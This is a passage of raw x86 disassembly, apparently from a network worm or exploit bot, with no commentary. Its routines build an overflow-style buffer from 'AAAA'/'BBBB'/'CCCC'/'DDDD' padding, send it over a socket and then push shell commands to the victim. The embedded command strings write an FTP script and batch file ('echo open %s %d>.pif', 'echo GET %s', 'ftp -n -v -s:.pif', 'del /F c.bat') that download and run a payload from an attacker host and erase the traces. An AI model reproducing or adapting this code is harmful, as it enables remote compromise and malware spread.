		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_401627
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_401627
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_422CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422DC0	proc near		; CODE XREF: sub_40128Fj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_402040
		mov	ecx, esi
		call	sub_401627
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_422DC0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422E10	proc near		; CODE XREF: sub_401ECEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_40128F
		pop	edi
		pop	esi
		retn	4
sub_422E10	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422E50	proc near		; CODE XREF: sub_401497j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_40128F
		retn	8
sub_422E50	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422E80	proc near		; CODE XREF: sub_401712j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_401091
		test	al, al
		jnz	short loc_422E94
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_422E94:				; CODE XREF: sub_422E80+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_43CC38
		lea	ecx, [esp+1Ch+var_8]
		call	sub_402040
		mov	ecx, esi
		call	sub_401627
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_422E80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422EF0	proc near		; CODE XREF: sub_401D75j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401497
		test	al, al
		jnz	short loc_422F0C
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_422F0C:				; CODE XREF: sub_422EF0+16j
		mov	ecx, esi
		call	sub_401712
		pop	esi
		retn	8
sub_422EF0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422F30	proc near		; CODE XREF: sub_401AE6j

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_401271
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_423305
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_423305
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_401271
		lea	ecx, [esp+864h+var_840]
		call	sub_401271
		lea	ecx, [esp+864h+var_810]
		call	sub_401271
		lea	ecx, [esp+864h+var_848]
		call	sub_401271
		lea	ecx, [esp+864h+var_820]
		call	sub_401271
		lea	ecx, [esp+864h+var_828]
		call	sub_401271
		lea	ecx, [esp+864h+var_838]
		call	sub_401271
		push	4
		push	offset dword_43C8D4
		lea	ecx, [esp+86Ch+var_830]
		call	sub_40128F
		push	3
		push	offset dword_43C8DC
		lea	ecx, [esp+86Ch+var_830]
		call	sub_40128F
		lea	ecx, [esp+864h+var_830]
		call	sub_401A73
		lea	ecx, [esp+864h+var_830]
		call	sub_401712
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_40128F
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_40128F
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_40128F
		lea	ecx, [esp+864h+var_840]
		call	sub_401A73
		push	offset dword_43CC5C
		lea	ecx, [esp+868h+var_810]
		call	sub_401ECE
		lea	ecx, [esp+864h+var_810]
		call	sub_401A73
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_40177B
		lea	ecx, [esp+864h+var_808]
		call	sub_401A73
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401D75
		lea	ecx, [esp+864h+var_808]
		call	sub_401627
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_401ECE
		push	4
		push	offset dword_43C8E0
		lea	ecx, [esp+86Ch+var_848]
		call	sub_40128F
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_40128F
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_40128F
		lea	ecx, [esp+864h+var_848]
		call	sub_401A73
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401497
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401497
		lea	ecx, [esp+864h+var_820]
		call	sub_401712
		lea	ecx, [esp+864h+var_848]
		call	sub_401627
		lea	ecx, [esp+864h+var_810]
		call	sub_401627
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401497
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401497
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401497
		lea	ecx, [esp+864h+var_828]
		call	sub_401712
		lea	ecx, [esp+864h+var_840]
		call	sub_401627
		lea	ecx, [esp+864h+var_830]
		call	sub_401627
		lea	ecx, [esp+864h+var_820]
		call	sub_401627
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_40128F
		lea	ecx, [esp+864h+var_838]
		call	sub_401A73
		push	2
		push	offset dword_43CC50
		lea	ecx, [esp+86Ch+var_838]
		call	sub_40128F
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_401497
		lea	ecx, [esp+864h+var_838]
		call	sub_401712
		lea	ecx, [esp+864h+var_828]
		call	sub_401627
		lea	ecx, [esp+864h+var_850]
		call	sub_401271
		lea	ecx, [esp+864h+var_858]
		call	sub_401271
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401497
		lea	ecx, [esp+864h+var_850]
		call	sub_401091
		lea	ecx, [esp+864h+var_838]
		call	sub_401627
		push	offset dword_43CC4C
		lea	ecx, [esp+868h+var_858]
		call	sub_401ECE
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401497
		lea	ecx, [esp+864h+var_858]
		call	sub_401091
		lea	ecx, [esp+864h+var_850]
		call	sub_401627
		push	offset dword_43BD64
		lea	ecx, [esp+868h+var_850]
		call	sub_401ECE
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401497
		lea	ecx, [esp+864h+var_850]
		call	sub_401091
		lea	ecx, [esp+864h+var_858]
		call	sub_401627
		push	offset dword_43CC40
		lea	ecx, [esp+868h+var_858]
		call	sub_401ECE
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401497
		lea	ecx, [esp+864h+var_858]
		call	sub_401091
		lea	ecx, [esp+864h+var_850]
		call	sub_401627
		push	offset dword_43CC3C
		lea	ecx, [esp+868h+var_818]
		call	sub_401ECE
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_401497
		lea	ecx, [esp+864h+var_858]
		call	sub_401627
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_423305:				; CODE XREF: sub_422F30+1Ej
					; sub_422F30+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_422F30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423430	proc near		; CODE XREF: sub_4019D3j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		call	ds:dword_4B3C5C
		cmp	eax, 1
		jz	short loc_423499
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_423499:				; CODE XREF: sub_423430+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_430A68
		test	eax, eax
		jnz	short loc_4234B0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_4234B0:				; CODE XREF: sub_423430+76j
		mov	edx, [esp+214h+arg_C]
		mov	eax, [esp+214h+arg_8]
		mov	ecx, [esp+214h+arg_4]
		push	edx
		push	eax
		push	ecx
		push	esi
		call	ds:dword_4B3C6C
		pop	esi
		add	esp, 210h
		retn
sub_423430	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423510	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		call	ds:dword_4B3C78
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, ds:dword_4B3C9C
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx
		cmp	eax, 4
		jz	short loc_423543
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_423543:				; CODE XREF: sub_423510+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_423510	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423580	proc near		; CODE XREF: sub_4012C1j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		call	ds:dword_4B3AB0
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4235B3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_4235B3:				; CODE XREF: sub_423580+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_43C970
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_43C8E8
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, ds:dword_43C9A0
		mov	[ebx+31h], eax
		mov	ecx, ds:dword_43C9A4
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, ds:dword_4B22F0
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, ds:word_4B22F4
		push	esi
		mov	[eax+4], dx
		call	sub_4012BC
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_423658
		push	ebx
		call	ds:dword_4B3AAC
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_423658:				; CODE XREF: sub_423580+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_4019D3
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012BC
		add	esp, 1Ch
		test	al, al
		jnz	short loc_423693
		push	ebx
		call	ds:dword_4B3AAC
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_423693:				; CODE XREF: sub_423580+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_4019D3
		push	ebx
		call	ds:dword_4B3AAC
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_423580	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423710:				; CODE XREF: _294ADE7B:00401758j
		sub	esp, 41Ch
		mov	ecx, 0FFh
		xor	eax, eax
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+29h]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset dword_43CB14
		lea	edi, [esp+28h]
		rep movsd
		movsw
		mov	ecx, offset byte_4403A9
		movsb
		call	sub_401726
		push	eax
		mov	ecx, offset byte_4403A9
		call	sub_401726
		mov	ecx, [esp+430h]
		push	eax
		mov	eax, ds:dword_4404E7
		push	eax
		push	ecx
		call	sub_401CC1
		add	esp, 4
		lea	edx, [esp+0C3h]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		call	ds:dword_4B3AA8
		add	eax, 90h
		lea	ecx, [esp+2Ch]
		push	eax
		lea	eax, [esp+48h]
		push	eax
		push	164h
		push	offset dword_43C9AC
		push	ecx
		call	sub_401AE6
		mov	eax, [esp+44h]
		xor	edi, edi
		add	esp, 30h
		cmp	eax, edi
		jnz	short loc_4237B9
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 41Ch
		retn
; ---------------------------------------------------------------------------


loc_4237B9:				; CODE XREF: _294ADE7B:004237ABj
		mov	ebp, ds:dword_4B3CB0
		mov	[esp+0Ch], edi


loc_4237C3:				; CODE XREF: _294ADE7B:00423868j
		test	edi, edi
		jnz	loc_42386E
		push	6
		push	1
		push	2
		call	ds:dword_4B3CAC
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423851
		mov	eax, [esp+4CAh]
		xor	edx, edx
		mov	[esp+1Ah], edx
		push	eax
		mov	[esp+22h], edx
		mov	word ptr [esp+1Ch], 2
		mov	[esp+26h], edx
		mov	[esp+2Ah], dx
		call	ebp
		lea	ecx, [esp+430h]
		mov	[esp+1Ah], ax
		push	ecx
		call	ds:dword_4B3CBC
		lea	edx, [esp+18h]
		push	10h
		push	edx
		push	esi
		mov	[esp+28h], eax
		call	ds:dword_4B3CB4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423846
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		push	eax
		push	ecx
		push	esi
		call	sub_4012C1
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_423846:				; CODE XREF: _294ADE7B:0042382Aj
		push	esi
		call	ds:dword_4B3CA8
		test	edi, edi
		jnz	short loc_42385C


loc_423851:				; CODE XREF: _294ADE7B:004237DCj
		push	3E8h
		call	ds:dword_4B38CC


loc_42385C:				; CODE XREF: _294ADE7B:0042384Fj
		mov	eax, [esp+0Ch]
		inc	eax
		cmp	eax, 2
		mov	[esp+0Ch], eax
		jl	loc_4237C3


loc_42386E:				; CODE XREF: _294ADE7B:004237C5j
		lea	ecx, [esp+10h]
		call	sub_401627
		test	edi, edi
		jz	short loc_42389E
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E8h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401131
		add	esp, 0BCh


loc_42389E:				; CODE XREF: _294ADE7B:00423879j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 41Ch
		retn
; ---------------------------------------------------------------------------
aRrr		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌé',1Bh,0
		align 4
		dd 90909000h, 2	dup(90909090h),	4 dup(0CCCCCCCCh), 0BB8068h
		dd 2EE06800h, 0C9E80000h, 83FFFDE6h, 0FCA308C4h, 0C3004B22h
		dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_423970	proc near		; CODE XREF: sub_401375j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	0C8h
		call	ds:dword_4B38CC
		mov	edx, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+4+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		call	ds:dword_4B3C9C
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
sub_423970	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4239C0	proc near		; CODE XREF: sub_40135Cj

var_434		= byte ptr -434h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4239C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 428h
		xor	eax, eax
		push	ebx
		mov	[esp+438h+var_41C], eax
		push	esi
		mov	[esp+43Ch+var_418], eax
		lea	ecx, [esp+43Ch+arg_4]
		push	edi
		mov	[esp+440h+var_414], eax
		push	ecx
		mov	[esp+444h+var_410], eax
		mov	word ptr [esp+444h+var_41C], 2
		call	ds:dword_4B3CBC
		mov	dx, ds:word_4B22FC
		mov	[esp+440h+var_418], eax
		push	edx
		call	ds:dword_4B3CB0
		push	0
		push	1
		push	2
		mov	word ptr [esp+44Ch+var_41C+2], ax
		call	ds:dword_4B3CAC
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		cmp	esi, ebx
		jz	loc_423CBE
		lea	eax, [esp+440h+var_41C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4B3CB4
		cmp	eax, ebx
		jz	loc_423CBE
		mov	edi, ds:dword_4B3C6C
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi
		lea	ecx, [esp+440h+var_434]
		call	sub_4013CF
		mov	edx, ds:dword_4404E7
		mov	eax, [esp+440h+arg_0]
		push	edx
		push	eax
		mov	[esp+448h+var_4], 0
		call	sub_401CC1
		add	esp, 4
		lea	ecx, [esp+444h+var_434]
		push	eax
		push	offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+440h+var_434]
		call	sub_401479
		push	eax
		push	esi
		call	sub_401375
		add	esp, 8
		test	al, al
		jz	loc_423CAE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_401479
		push	eax
		push	esi
		call	sub_401375
		add	esp, 8
		test	al, al
		jz	loc_423CAE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_401479
		push	eax
		push	esi
		call	sub_401375
		add	esp, 8
		test	al, al
		jz	loc_423CAE
		mov	ecx, offset byte_4403A9
		call	sub_401726
		push	eax
		lea	ecx, [esp+444h+var_434]
		push	offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_401479
		push	eax
		push	esi
		call	sub_401375
		add	esp, 8
		test	al, al
		jz	loc_423CAE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoBye_pif ; "echo bye>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_401479
		push	eax
		push	esi
		call	sub_401375
		add	esp, 8
		test	al, al
		jz	loc_423CAE
		lea	eax, [esp+440h+var_434]
		push	offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_401479
		push	eax
		push	esi
		call	sub_401375
		add	esp, 8
		test	al, al
		jz	loc_423CAE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_401479
		push	eax
		push	esi
		call	sub_401375
		add	esp, 8
		test	al, al
		jz	loc_423CAE
		mov	ecx, offset byte_4403A9
		call	sub_401726
		push	eax
		lea	edx, [esp+444h+var_434]
		push	offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_401479
		push	eax
		push	esi
		call	sub_401375
		add	esp, 8
		test	al, al
		jz	loc_423CAE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoDel_pifC_b ; "echo del .pif	>>c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_401479
		push	eax
		push	esi
		call	sub_401375
		add	esp, 8
		test	al, al
		jz	short loc_423CAE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_401479
		push	eax
		push	esi
		call	sub_401375
		add	esp, 8
		test	al, al
		jz	short loc_423CAE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_401479
		push	eax
		push	esi
		call	sub_401375
		add	esp, 8
		test	al, al
		jz	short loc_423CAE
		lea	eax, [esp+440h+var_434]
		push	offset dword_43D7DC
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_401479
		push	eax
		push	esi
		call	sub_401375
		add	esp, 8
		test	al, al
		jnz	short loc_423CC2


loc_423CAE:				; CODE XREF: sub_4239C0+F3j
					; sub_4239C0+120j ...
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_4011F9


loc_423CBE:				; CODE XREF: sub_4239C0+6Fj
					; sub_4239C0+85j
		xor	al, al
		jmp	short loc_423CEA
; ---------------------------------------------------------------------------


loc_423CC2:				; CODE XREF: sub_4239C0+2ECj
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi
		push	esi
		call	ds:dword_4B3CA8
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_4011F9
		mov	al, 1


loc_423CEA:				; CODE XREF: sub_4239C0+300j
		mov	ecx, [esp+440h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 434h
		retn
sub_4239C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423DF0	proc near		; CODE XREF: sub_401744j

